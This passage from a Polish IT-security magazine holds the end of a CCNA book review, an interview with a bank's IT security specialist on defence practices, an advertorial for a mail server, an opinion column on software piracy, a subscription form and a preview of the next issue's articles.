wraz z STP, sieci VLAN oraz VTP.

Natomiast w czwartej części omówiono tematy doty-

czące  sieci  WAN.  Na  początek  opisane  zostało  ska-
lowanie  adresów  IP.  Kolejny  rozdział  przeznaczony 
jest  na  omówienie  pokrótce  szeregu  technologii  WAN, 
m. in. ISDN, X.25, Frame Relay, ATM, DSL. Po nich – już 
obszerniej – opisane zostały PPP, ISDN, DDR i ponow-
nie Frame Relay. Książkę kończy rozdział wprowadzają-
cy do zarządzania siecią, jednak ten ostatni akurat powi-
nien być zawarty we wcześniejszych częściach książki.

Materiał  zamieszczony  w  komplecie  czterech  książek 

prawie w całości pokrywa się z tym omawianym na kursach 
przygotowujących do egzaminu CCNA, a zawartość każdej 
z płyt CD to dodatkowa wiedza, którą warto posiadać.

Według  nowego  zakresu  materiału,  który  trzeba  opa-

nować na egzamin CCNA, niezbędne są podstawy wiedzy 
o  sieciach  bezprzewodowych  i  bezpieczeństwie,  czego 
w  tych  książkach  brakuje.  Powoduje  to,  że  kurs  staje  się 
niepełny, a Czytelnik zmuszony jest do uzupełnienia braków 
z innych źródeł, np. kursów Cisco, takich jak Fundamentals 
of Wireless LANs czy Fundamentals of Network Security. 
Na dodatek w książce omówiono technologie ISDN i DDR, 
które do nowego egzaminu CCNA nie są już niezbędne.

Podsumowując,  komplet  tych  książek  stanowi  dość 

dobre przygotowanie teoretyczne do egzaminu CCNA, jed-
nakże nabytą za jego pośrednictwem wiedzę powinno się 
uzupełnić o wspomniane brakujące zagadnienia. Należy 
także przećwiczyć zagadnienia praktyczne na symulato-
rze (zawartym na załączonym CD) lub na żywym sprzę-
cie – bądź to zdalnie na jednym z wielu labów dostępnych 
w Internecie, bądź to na swoim własnym sprzęcie, który 
można relatywnie tanio skompletować.

Jan Niedźwiedź

background image

www.hakin9.org

hakin9 Nr 2/2008

74

Wywiad

hakin9:

 Na czym polega Pana praca?

Witosław Wolański: Tworzę polityki bezpieczeń-
stwa i standardy dotyczące różnych aspektów 
pracy systemu informatycznego, oceniam i opi-
niuję projekty informatyczne pod kątem bezpie-
czeństwa rozwiązań, obserwuję i analizuję co-
dzienną  pracę  systemu  informatycznego,  po-
szukując  przejawów  zagrożeń  oraz  nadzoru-
ję cały proces obsługi incydentów w systemie, 
współpracuję z jednostkami zajmującymi się ry-
zykiem operacyjnym banku.

h9:

 Jak wielu pracowników czuwa nad tym, aby 

zapewnić  bezpieczeństwo,  jak  duży  jest  dział 
bezpieczeństwa IT w Waszym banku?

WW: 

Rozumienie pojęcia bezpieczeństwa sys-

temu informatycznego ewoluuje i się rozszerza. 
Kiedyś przez bezpieczeństwo rozumiano ochro-
nę przed zagrożeniami z Internetu. Dzisiaj nadal 
jest to istotne źródło zagrożeń, jednak mecha-
nizmy  ich  przenikania  są  zupełnie  inne  i  wy-
magają innego podejścia. Zespół pracowników 
bezpośrednio  zajmujących  się  sprawami  tech-
nicznymi  bezpieczeństwa  systematycznie  się 
rozrasta,  kompetentnie  ogarniając  nowe  ob-
szary  zagrożeń.  Moją  ambicją  jest,  aby  wszy-
scy  pracownicy  IT  rozumieli  zagadnienia  bez-
pieczeństwa, zwłaszcza w obszarze swojej pra-

cy oraz interakcji z systemem informatycznym. 
W  ten  sposób  dzięki  indywidualnej  świadomo-
ści można się przybliżyć do ideału, którym jest 
respektowanie wymagań bezpieczeństwa i trak-
towanie tego jako naturalnego składnika każde-
go procesu i działania. To wymaga stałej uwa-
gi, podnoszenia kwalifikacji i rozszerzania świa-
domości. Nawet najliczniejsza komórka speców 
security nie ogarnie wszystkich zagrożeń, jeśli 
inni użytkownicy systemu nie będą przestrzegali 
choćby podstawowych zasad higieny

h9: 

Czy prowadzone są szkolenia dla pracow-

ników dotyczące bezpieczeństwa systemu tele-
informatycznego banku?

WW: 

Oczywiście.  Stosowane  są  różne  formy 

i jest kładziony nacisk na działania uświadamia-
jące, zwłaszcza poprzez naukę na przykładach 
– czy to w formie indywidualnej, czy zbiorowej. 
Szczególnie ważne jest to w obszarze banko-
wości  internetowej  –  pracownik,  nie  będący 
przecież ekspertem informatycznym, musi do-
brze  rozumieć,  na  czym  polegają  zagrożenia, 
z którymi może się zetknąć Klient, żeby potra-
fić  przystępnie  i  skutecznie  przekazać  zasady 
bezpiecznego  używania  konta  elektroniczne-
go. Klienci mają do swojej dyspozycji wsparcie 
nie tylko pracowników w placówkach banku, ale 

Witosław Wolański 

– specjalista IT w Banku 

Nordea

W Nordea Bank Polska pracuję od 

dwóch lat. Mimo, że moje stanowisko 

nazywa się specjalista ds. polityki 

bezpieczeństwa systemu IT, swoją rolę 

widzę dużo szerzej. Zajmuję się ogólnie 

pojętym bezpieczeństwem systemu 

informatycznego banku, w tym również 

wydajnością pracy całego systemu lub 

jego istotnych części, których utrata 

wpływa na przetwarzanie danych 

i jakość obsługi naszych Klientów.

background image

Wywiad

hakin9 Nr 2/2008

www.hakin9.org

75

również pracowników Call Center oraz szczegółowe arty-
kuły w witrynie internetowej www.nordea.pl.
Nie  muszę  chyba  dodawać,  że  zagadnienia  bezpiecz-
nej pracy z systemem informatycznym są ujęte w instruk-
cjach dla pracowników, z którymi każdy musi się szcze-
gółowo zapoznać i przestrzegać ich zaleceń. 

h9: 

Jakie środki bezpieczeństwa informatycznego stosuje 

się w bankowości i jak duże pociąga to za sobą koszty?

WW: 

Trudno mi podać liczby. Niewątpliwie w bankowo-

ści  (może  poza  niektórymi  instytucjami  rządowymi)  są 
one największe. Oszczędności w dziedzinie bezpieczeń-
stwa są zawsze pozorne i prędzej czy później słono kosz-
tują. Często o wiele większe koszty to nie te materialne, 
od  których  banki  są  w  dużej  mierze  ubezpieczone,  ale 
koszty związane z utratą reputacji banku czy nadszarp-
nięciem zaufania Klientów. 
Niezawodność  systemów  informatycznych  banku  jest 
postrzegana przez Klientów podobnie jak bezpieczeń-
stwo. Dlatego oba te elementy w prawidłowo zaprojek-
towanych i wdrożonych systemach bankowych są nie-
rozdzielne.    Proszę  sobie  wyobrazić  wszystkie  ele-
menty jakiegokolwiek systemu podwojone – sprzęt, łą-
cza, licencje oprogramowania, a do tego zastosowanie 
specjalnych  technologii  zapewniających  płynną  pracę 
w  przypadku  awarii  elementu  systemu  czy  też  osob-
nych  systemów  do  monitorowania,  mających  na  celu 
wczesne  wykrywanie  symptomów  zwiastujących  awa-
rię. To kosztuje.

h9:

 Jaki jest według Pana najlepszy system obrony przed 

włamywaczami? Czy obecne zabezpieczenia systemów IT 
są wystarczające do walki z elektronicznymi przestępca-
mi?

WW: 

Nie ma jedynej słusznej i w pełni niezawodnej me-

tody obrony. W systemie bankowym stosowane są liczne 
i niezależne warstwy obrony, wspomagane odpowiedni-
mi urządzeniami monitorującymi, analizującymi i alarmu-
jącymi. To oczywiście nie powinno usypiać czujności – te 
wszystkie  urządzenia,  oprogramowanie,  tworzyli  ludzie 
i zapewne są w nich błędy czekające tylko na odkrycie 
i wykorzystanie przez hakerów. 

Bardziej niepokojące jest jednak co innego – koncentrowa-
nie  się  potencjalnych  włamywaczy  na  najsłabszym  ogni-
wie, będącym zupełnie poza kontrolą banku – na kompute-
rze użytkownika bankowości internetowej. Na ogół względ-
nie łatwo jest włamać się na taki komputer, co w połączeniu 
z rosnącym wyrafinowaniem szkodliwego oprogramowania, 
które jest stosowane do śledzenia działań ofiary, powoduje, 
że w trosce o dobro Klientów banki są bezpośrednio zainte-
resowane podnoszeniem bezpieczeństwa narzędzi używa-
nych przez nich do obsługi kont internetowych. Na przykład 
bank Nordea w Szwecji udostępniał swoim Klientom aplika-
cję chroniącą przed szkodliwym oprogramowaniem. 
Należy również mieć na uwadze odwieczny konflikt po-
między łatwością użycia a bezpieczeństwem i koniecz-
nością poszukiwania jakiegoś kompromisu w tym zakre-
sie. Klient niechętnie będzie używał niewygodnych wyra-
finowanych zabezpieczeń, które będą wymagały od nie-
go uwagi. A te kompromisy otwierają nowe drogi włamań, 
co obserwujemy w postaci coraz większego zaintereso-
wania atakami typu Cross Site Scripting czy Code Injec-
tion
. Czy twórcom przeglądarek śniły się fuzzery?

h9:

 Czy korzystacie z usług hakerów dla celów testowa-

nia systemów zabezpieczeń?

WW:

 Stale monitorujemy logi naszych systemów i ana-

lizujemy  podejmowane  przez  hakerów  próby  włamania 
czy też obmacywania systemu. Trudno to nazwać bezpo-
średnim korzystaniem z usług hakerów, ale wiele na tym 
można skorzystać. 
Internet jest kopalnią hakerskich informacji. Śledząc róż-
ne wątki informacyjne i postępy potencjalnych intruzów, 
jesteśmy w stanie tę wiedzę zastosować. To też sposób 
na wykorzystanie pracy hakerów.

h9:

  Czy  często  dochodzi  do  ataków  na  serwery  banku 

i czy wszystkie są udaremniane?

WW:

 Jak już wspomniałem, system obrony jest wielowar-

stwowy – trudno pokonać wszystkie warstwy naraz. Je-
śli przez atak rozumieć skanowanie portów serwerów, to 
można powiedzieć, że jest on nieustanny. Nie zdarzył się 
jeszcze skuteczny atak w takim sensie, że np. dokonano 
by wyprowadzenia środków z konta Klienta.

R

E

K

L

A

M

A

background image

hakin9 Nr 2/2008

www.hakin9.org

Wywiad

76

h9: 

Czy na przykładzie Państwa banku można stwierdzić, 

że liczba przestępstw typu phishing rośnie bądź maleje?

WW:

 To zależy, w jakiej skali patrzeć na Nordeę. Bank 

Nordea  Polska  nie  jest  w  Polsce  najbardziej  atrakcyj-
nym  celem  takiego  ataku  i  nie  słyszałem,  aby  wobec 
niego podjęto phishing. Inaczej się przedstawia sprawa 
w Skandynawii, gdzie pozycja Grupy Nordea jest wiodą-
ca i ataki typu phishing są na porządku dziennym. Ogól-
nie rzecz biorąc skuteczność tego typu ataków opiera się 
na  wykorzystaniu  nieświadomości  Klientów  banku  oraz 
słabości  metod  autentykacji  użytkownika  w  systemie 
bankowości internetowej. Zjawisko phishingu jest ciągle 
obserwowane i analizowane. Banki podejmują odpowied-
nie środki uniemożliwiające lub przynajmniej utrudniają-
ce atakującemu skuteczne wykorzystanie kodów przeję-
tych w wyniku phishingu. 

h9:

  Jakie  systemy  bezpieczeństwa  działają  w  Państwa 

banku?

WW:

  Tak  jak  wspomniałem  –  wielowarstwowa  ochro-

na  poszczególnych  elementów  systemu,  z  filtrowaniem 
ruchu  sieciowego,  jego  analizą,  wykrywaniem  anomalii 
i bazodanowym powiadamianiem, separacją warstw apli-
kacji  i  serwerów.  Ze  zrozumiałych  względów  trudno  mi 
wdawać się w szczegóły. 

h9:

 Jaki standard szyfrowania jest używany przy trans-

akcjach?
To łatwo sprawdzić w przeglądarce – SSL 128-bit.

h9:

 Jakie zabezpieczenia posiada proces logowania na 

stronie banku Nordea, w jaki sposób logowanie jest za-
bezpieczone przed sniffingiem?

WW:

 System bankowości internetowej SOLO ma standar-

dowe  dwuelementowe  zabezpieczenia  w  każdej  z  form 
uwierzytelniania Klienta – coś, co Klient wie oraz coś, co 
Klient ma. W przypadku korzystania z uwierzytelniania przy 
użyciu zestawu do podpisu elektronicznego dane uwierzy-
telniające są bezpiecznie pobierane z karty chipowej i bez-
pośrednio  przekazywane  do  aplikacji  –  nie  ma  możliwo-
ści ich podsłuchania. W przypadku innych form zagrożenie 
podsłuchania jest takie samo, jak przy wprowadzaniu da-
nych do przeglądarki – jeśli w systemie jest szkodliwe opro-
gramowanie, które to potrafi, to nie ma przed czymś takim 
pewnego zabezpieczenia. To jest właśnie najsłabsze ogni-
wo, o którym wspominałem wcześniej. Protokół SSL uwa-
żany jest za bezpieczny – oczywiście pod warunkiem, że 
Klient upewni się, że rzeczywiście komunikuje się z serwe-
rem banku, a nie serwerem pośredniczącym. 

h9:

 Czy bank Nordea korzysta z SPERT – Systemu Pro-

wadzenia Elektronicznego Rejestru Transakcji?

WW:

  W  banku  są  odpowiednie  komórki  zajmujące  się 

analizą i zgłaszaniem podejrzanych transakcji –korzysta-
ją z innego systemu.

h9: 

Czy bank korzysta z FinDet – inteligentnego systemu 

do wykrywania i rejestracji transakcji podejrzanych?
WW:Bank korzysta z innego systemu.

h9:

 Jak wygląda odpowiedź banku na potencjalny atak 

–  czy  fakt  taki  jest  zgłaszany  organom  ścigania?  Jakie 
są ich reakcje?

WW:

  Trudno  dać  jednoznaczną  odpowiedź  –  wszyst-

ko  zależy  od  charakteru  ataku,  jego  zasięgu,  uporczy-
wości itd. Kilka razy miałem osobiście do czynienia z or-
ganami  ścigania  przy  wyjaśnianiu  incydentów  informa-
tycznych, ale nie związanych z atakiem na bank Nordea. 
Byłem pozytywnie zaskoczony otwartością i wolą współ-
pracy. Z drugiej strony mogłem się przekonać, z jak sub-
telnymi  problemami  mamy  do  czynienia  w  przypadku 
incydentów  w  systemach  informatycznych.  Rozumienie 
prawa  i  wymagania  prawne  stawiane  organom  ściga-
nia w zakresie dokumentowania przestępstwa powodują, 
że  bardzo  trudno  doprowadzić  jakiekolwiek  śledztwo 
do  fazy,  w  której  można  postawić  oskarżenie.  W  wielu 
przypadkach ślady są tak nikłe i nienamacalne, że nawet 
trudno znaleźć uzasadnienie dla kontynuacji śledztwa. 

h9:

 W jaki sposób firma broni się przed eksploitami zero-

day? Jakie są pasywne środki ochrony informacji klien-
tów banku (kopie bezpieczeństwa)?

WW: 

To pytania trochę z różnych dziedzin. 

Są  różnego  rodzaju  zero-day  exploits.  Powiedzmy, 
że najpopularniejsze dotyczą wykorzystania luk w doku-
mentach pakietu MS Office. Jeśli zagrożenie i prawdo-
podobieństwo ataku jest wysokie, podejmowane są od-
powiednie kroki w celu utrudnienia przenikania tego typu 
dokumentów do systemu informatycznego. W przypadku 
zagrożonych usług serwerowych liczymy się nawet z ko-
niecznością ograniczenia lub wyłączenia usług, ale jesz-
cze do tego typu sytuacji nie doszło. Tego typu zjawiska 
są na bieżąco śledzone w Internecie i stosownie do roz-
woju wydarzeń podejmujemy na bieżąco decyzje o dzia-
łaniach zapobiegawczych. 
Informacje Klientów chronione są zgodnie z wymagania-
mi  ustaw  regulujących  ochronę  informacji  przetwarza-
nych przez banki – m. in. Ustawy Prawo Bankowe oraz 
Ustawy o Ochronie Danych Osobowych. Dodatkowo roz-
szerzenia tych wymagań zawarte są w wewnętrznej po-
lityce  bezpieczeństwa  informacji  oraz  zasadach  pracy 
w systemie informatycznym. Generalnie obowiązuje za-
sada dostępu do informacji na zasadzie uprawnionej ko-
nieczności – tylko osoby, których praca wymaga dostępu 
do danej informacji, mogą taki dostęp uzyskać. W przy-
padku danych Klientów, przypadki dostępu są dodatko-
wo monitorowane i rejestrowane. Oczywiście trudno so-
bie wyobrazić system bez kopii bezpieczeństwa i archiwi-
zacji danych – także jest to system wielowarstwowy i da-
ne są chronione w całym cyklu życia poszczególnych no-
śników, na każdym etapie.

h9:

 W kilku słowach: dlaczego klienci Pana banku powin-

ni czuć się bezpieczni operując kontem przez Internet?

WW:

  Eksperci  jednego  z    branżowych  miesięczników 

uznali  system  bankowości  internetowej  SOLO  Nordea 
Bank Polska za jeden z najbezpieczniejszych na polskim 
rynku. Trudno chyba o lepszą rekomendację.

h9:

 Dziękujemy za rozmowę.

WW:

 Dziękuję. l

background image

Reklama

77

Klasyczny serwer poczty oparty o pro-
tokół  POP3/SMTP  pozwala  jedynie  na 
przesyłanie i odbieranie poczty. Nie jest 
to  najwygodniejsza  forma  współpra-
cy, ponieważ jeśli jeden plik ma zostać 
przesłany do kilku odbiorców na tym sa-
mym serwerze, to tworzonych jest kilka 
kopii tej samej wiadomości. Dodatkowo 
każda wiadomość musi zostać w cało-
ści przesłana i odebrana przez serwer, 
co  obciąża  pasmo,  zasoby  oraz  infra-
strukturę.  Ponadto  przy  większej  ilości 
e-maili  administracja  kontem  staje  się 
uciążliwa  –  protokół  wymusza  korzy-
stanie tylko z jednego katalogu dla ca-
łej  poczty.  Rozwiązaniem  tych  wszyst-
kich  problemów  jest  serwer  poczty 
korzystający z protokołu IMAP. Dosko-
nałym przykładem takiego rozwiązania, 
jako serwera poczty oraz pracy grupo-
wej, jest Kerio MailServer.
     

Kerio MailServer pozwala użyt-

kownikom komunikować się za po-
mocą  poczty  e-mail  oraz  umożli-
wia  współdzielenie  zasobów.  Ca-
ła  poczta  jest  przechowywana  po 
stronie serwera, dzięki czemu użyt-
kownik nie musi jej pobierać na swój 
komputer.  Rozwiązanie  to  spraw-
dza się doskonale w przypadku ko-
rzystania  z  poczty  z  wielu  kompu-
terów  –  niezależnie  od  komputera, 
z którego korzystamy, mamy pełen 
wgląd  do  całej  poczty.  Istotną  ce-
chą wyróżniającą Kerio MailServer 
jest możliwość tworzenia katalogów 

publicznych  oraz  możliwość  udo-
stępnienia  plików  i  folderów  kon-
kretnym  użytkownikom  –  teraz  nie 
ma  już  potrzeby  wysłania  jednego 
pliku wszystkim odbiorcom, można 
go po prostu udostępnić.

Kerio  MailServer  pomaga  rów-

nież  zarządzać  pracą  użytkowni-
ków.  Funkcjonalność  kalendarza 
i  zadań  pozwala  przydzielać  za-
dania  poszczególnym  użytkowni-
kom lub całym grupom oraz obser-
wować  stopień  ich  wykonania.  Ka-
lendarz pozwala rezerwować czas, 
a  także  informować  innych  użyt-
kowników  o  swojej  dostępności 
lub  niedostępności.  Oczywiście  te 
obiekty również mogą być udostęp-
nione do wglądu lub modyfikacji in-
nym  osobom  korzystającym  z  ser-
wera.  Ponadto  można  dzielić  się 
również  kontaktami  –  baza  adre-
sów  e-mail  może  być  udostępnia-
na  określonym  użytkownikom  lub 
całym  grupom.  Niewątpliwą  zaletą 
serwera  jest  dostęp  do  jego  zaso-
bów  –  nie  musimy  instalować  żad-
nego  dodatkowego  oprogramowa-
nia  –  możemy  korzystać  ze  stan-
dardowego klienta Microsoft Outlo-
ok  (wraz  ze  specjalną  wtyczką). 
Istnieje również możliwość połącze-
nia do serwera za pomocą specjal-
nej strony WWW – za jej pośrednic-
twem  możemy  uzyskać  identycz-
ną  funkcjonalność,  jak  w  przypad-
ku  używania  klienta  poczty.  Funk-
cjonalność  ta  sprawia,  że  możemy 
korzystać z zasobów poczty w bez-
pieczny sposób – praktycznie z do-
wolnego komputera na świecie, bez 
instalacji  jakiegokolwiek  oprogra-
mowania.

W wielu firmach pracownicy ko-

rzystają z komputerów PDA. Jest to 

wygodne rozwiązanie, umożliwiają-
ce  dostęp  do  firmowych  zasobów 
z każdego miejsca na świecie. Rów-
nież  w  Kerio  Mail  Server  urządze-
nia  tego  typu  są  w  pełni  wspiera-
ne. Dzięki technologiom RoadSync 
oraz  NotifySync  użytkownik  nie-
zwłocznie  otrzymuje  wiadomości, 
które znajdują się w jego skrzynce 
odbiorczej. Także wszystkie aspek-
ty pracy grupowej mogą być obsłu-
giwane  za  pomocą  tych  urządzeń. 
Bardzo  ciekawą  i  przydatną  opcją 
jest  technologia  Kerio  SmartWipe. 
W przypadku kradzieży lub zgubie-
nia  urządzenia  administrator  włą-
czając  tę  funkcję  zabezpiecza  da-
ne przed kradzieżą. Przy kolejnym 
logowaniu  do  systemu  z  PDA  usu-
wane są wszystkie informacje zwią-
zane z pocztą elektroniczną (m. in. 
hasła i loginy), co sprawia, że zło-
dziej nie ma możliwości odczytania 
żadnych istotnych danych.

Kerio  Mail  Server  to  doskonałe 

rozwiązanie  dla  małych  i  średnich 
przedsiębiorstw.  Produkt  otrzymał 
wiele  nagród  na  międzynarodo-
wych  konferencjach,  m.  in.  na  Li-
nuxWorld Expo
 otrzymał zaszczyt-
ny tytuł LinuxWorld Product Excel-
lence Award
Best Messaging Solu-
tion
, a przez PC PRO Magazine zo-
stał  uznany  najlepszym  odpowied-
nikiem  oprogramowania  Microsoft 
Exchange. 

Kontakt:

Sun Capital Sp. z o.o.
ul. Deszczowa 56
53-024 Wrocław
tel. (71) 360 81 00
www.kerio.pl
www.suncapital.pl
sprzedaz@suncapital.pl

Prowadzenie biznesu wymaga ciągłego kontaktu z kontrahentami i klientami. 

Firma Kerio posiada w swojej ofercie oprogramowanie, które pozwala na 

efektywną i bezpieczną komunikację e-mail oraz umożliwia skuteczną współpracę 

wewnątrz przedsiębiorstwa.

Kerio MailServer jako system 

poczty i pracy grupowej dla firm

background image

hakin9 Nr 2/2008

www.hakin9.org

78

S

ą  zepsutymi  do  szpiku  kości,  nieskrępowanymi 
wielbicielami  niczym  nieograniczonej  elektronicz-
nej komunikacji. Potrafią ukrywać się za maskami 

ekranów,  będąc  jednocześnie  niewidocznymi  i  ukrytymi. 
W ten sposób dają upust swoim rzeczywistym pragnieniom. 
Traktują  szczelinę  pomiędzy  rzeczywistością  a  pozorem 
jako czystą zabawę. Skryci w czeluściach cyberprzestrze-
ni oddychają z ulgą od napięć codziennego życia. Patrząc 
na swoje lustrzane odbicia nie widzą samych siebie, lecz 
jednego z głównych bohaterów drugiego świata. Zanurzeni 
w Sieci nie podlegają ograniczeniu, lecz ciągłemu rozwo-
jowi, otwierając innym oczy na rzeczywistość zewnętrzną. 
Z ich usług korzysta co drugi dzisiejszy internauta, siedzą-
cy w samotności przed ekranem peceta, laptopa, a nawet 
komórki.  To  wszystko  stymuluje  budowę  wspólnot  goto-
wych podzielić się każdą nową zdobyczą. Powód? Przy-
jemność. Samospełnienie? Pokazanie zadufanym w sobie 
pyszałkom, że można? Też, ale i coś więcej. Historia ich 
sięga początków pierwszego oprogramowania. Już w tych 
czasach w odbiciu ekranu można było rozpoznać w nich 
ludzi pomijających różne, złożone czynniki materialne rzą-
dzące innymi. W ich magicznym życiu nie istnieje domena 
komercji,  lecz  rzeczywistość  wirtualna,  która  pozwala  im 
na tworzenie niepokojącego nadmiaru darmochy. 

Piraci  komputerowi  stanowią  różne  tożsamości  spo-

łeczne  –  są  mniej  lub  więcej  szanowanymi  w  społe-
czeństwie  osobami,  których  normalne  odruchy  tłumione 
są  wraz  z  coraz  bardziej  zaostrzanym  prawem  kompu-
terowym.  We  wczesnych  latach,  kiedy  warunki  dla  takiej 
zabawy  stanowiły  raczkujące  przepisy  regulujące  możli-
wości wykorzystania programów, nikt specjalnie nie przej-
mował się ujawnianiem drugiego obiegu gier, oprogramo-
wania  czy  sprzętu.  Dzisiaj  wedle  postanowień  Kodeksu 
Karnego już samo posiadanie nielegalnej kopii oprogramo-
wania traktowane jest na równi z paserstwem. Im poważ-
niejszy oficjalny zakaz występujący w społeczeństwie, tym 
większa i bardziej skryta jest współpraca podziemia. Dla-
tego należy spodziewać się, że nie tylko zakazane treści 
znowu będą dostępne dla wybranych w kręgu zaufania, ale 
także jednoznaczna identyfikacja twórców pirackich kopii 
rozpowszechnianych za pomocą Internetu stanie się zada-
niem  dla  wyrafinowanej  informatyki  śledczej.  Głównymi 
grzechami wyliczanymi piractwu są: okradanie z realnych 

Socjo-cyber-piraci 

przestrzeni

zysków autorów danego dzieła, znaczny wpływ na zwięk-
szenie cen dla uczciwych użytkowników oraz spowalnianie 
procesu powstawania nowych produktów poprzez ograni-
czanie liczby dodatkowych miejsc pracy w branży informa-
tycznej. Trudno rozstrzygnąć spór, kto rozpoczął tę wojnę. 
Czy chciwe korporacje i firmy przyczyniły się do wykształ-
cenia darmowej alternatywy – czy ta sama alternatywa, nie 
chcąc płacić za cokolwiek, zmusiła korporacje i firmy do 
wywindowania cen? Bo przecież najczęściej podawanym 
powodem,  dla  którego  użytkownicy  decydują  się  na  nie-
legalne  oprogramowanie,  jest  cena  –  nieproporcjonalnie 
wysoka w stosunku do możliwości darmowych odpowied-
ników. Nie przeszkadza im nawet fakt, że w tym momencie 
stają się uczestnikami procederu niezgodnego z prawem. 
Prawdziwym eksperymentem byłoby obustronne zobowią-
zanie o kupnie oryginalnych wydawnictw autorskich, lecz 
po cenie, która mogłaby zaspokoić obie strony transakcji. 
W bardzo krótkim czasie okazałoby się, czy taka utopia ma 
szansę przetrwać dłużej, a co najważniejsze, która ze stron 
złamałaby ją jako pierwsza.

Z  moralnego  punktu  widzenia  piractwo  jest  złym 

czynem i powinno być zwalczane. Jednak pośrednio – bez-
sprzecznie poszerza zasięg stosowania danych marek, bez 
szkód dla wartości intelektualnej autorów; gorzej wypada, 
jeśli  chodzi  o  wartości  komercyjne.  Każdy  zgodnie  prze-
cież  przyzna,  że  twórcy  powinno  przysługiwać  wynagro-
dzenie za jego pracę (chociaż na szczęście ma on jesz-
cze  prawo  udostępniać  efekty  swojej  twórczej  pracy  bez 
żądania opłat). Piractwo przyczynia się także do migracji 
w stronę zupełnie darmowego oprogramowania, finanso-
wanego  z  dobrowolnych  wpłat  użytkowników  –  lub  kor-
poracji,  widzących  nowy  potencjał  dla  swoich  inwestycji. 
Jednak  z  każdym  rokiem  technologie  cyfrowe  powodują 
niewyobrażalny  rozkwit  twórczości  komercyjnej,  a  prawo 
w  obawie  o  coraz  większe  straty  wciąż  bardziej  ograni-
cza ich użycie poprzez obłąkańczo skomplikowane i nie-
jasne reguły. Piractwo jest interpretowane jako niedozwo-
lone  wykorzystywanie  czyjejś  własności  twórczej  bez 
uprzedniego zezwolenia. Uznając, że tam gdzie występuje 
wartość (materialna lub intelektualna), tam z ochroną przy-
chodzi  prawo  –  przyjmiemy,  że  cała  historia  przemysłu 
komputerowego  jest  jedną  wielką  historią  piractwa  samą 
w sobie. l

Patryk Krawaczyński agresor@nfsec.pl

Felieton

background image
background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 244 24 59 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 427 36 79 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

Zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 W lipcu i sierpniu ukazuje się jeden wakacyjny numer

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

11

3

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9 - jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

11

3

199

1

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

11

3

199

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

3DFX

Dwumiesięcznik miłośników grafiki trójwymiarowej

6

140

Suma

background image

hakin9 Nr 2/2008

www.hakin9.org

82

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku marca 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

               

 3/2008 

w następnym numerze między 

innymi:

Zapowiedzi

Formaty graficzne

z punktu widzenia bughuntera 

Formaty graficzne (JPG, BMP, PCX, PNG, GIF etc.) z punktu widzenia ata-
kującego: gdzie mogą pojawić się błędy przy implementacji obsługi danego 
formatu, co może pójść nie tak. Całość zilustrowana opisem bugów w opro-
gramowaniu, które pojawiły się na liście Bugtraq.

Hakowanie Visty

Artykuł  będzie  dotyczył  systemu  operacyjnego  Windows  Vista  i  opisywał 
błędy, które umożliwiają zdalny dostęp do komputera.

Odzyskiwanie danych po ataku hakera

lub złośliwego kodu

Metody  i  narzędzia  wykorzystywane  przy  odzyskiwaniu  danych  z  różnych 
nośników komputerowych, utraconych na skutek ataku hakera lub złośliwe-
go kodu.

Ukrywanie aplikacji

w kernelu systemu Windows

Autor  wprowadzi  Czytelnika  do  programowania  kernel  mode,  odpowie  na 
pytanie dlaczego właśnie kernel mode?, a także pokaże dwie metody ukry-
wania procesów i sterowników – SSDT hooking oraz DKOM.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa,
•   mnóstwo narzędzi – niezbędnik hakera,
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•   dodatkowa dokumentacja,
•   pełne wersje komercyjnych aplikacji.

Atak

Obrona

background image
background image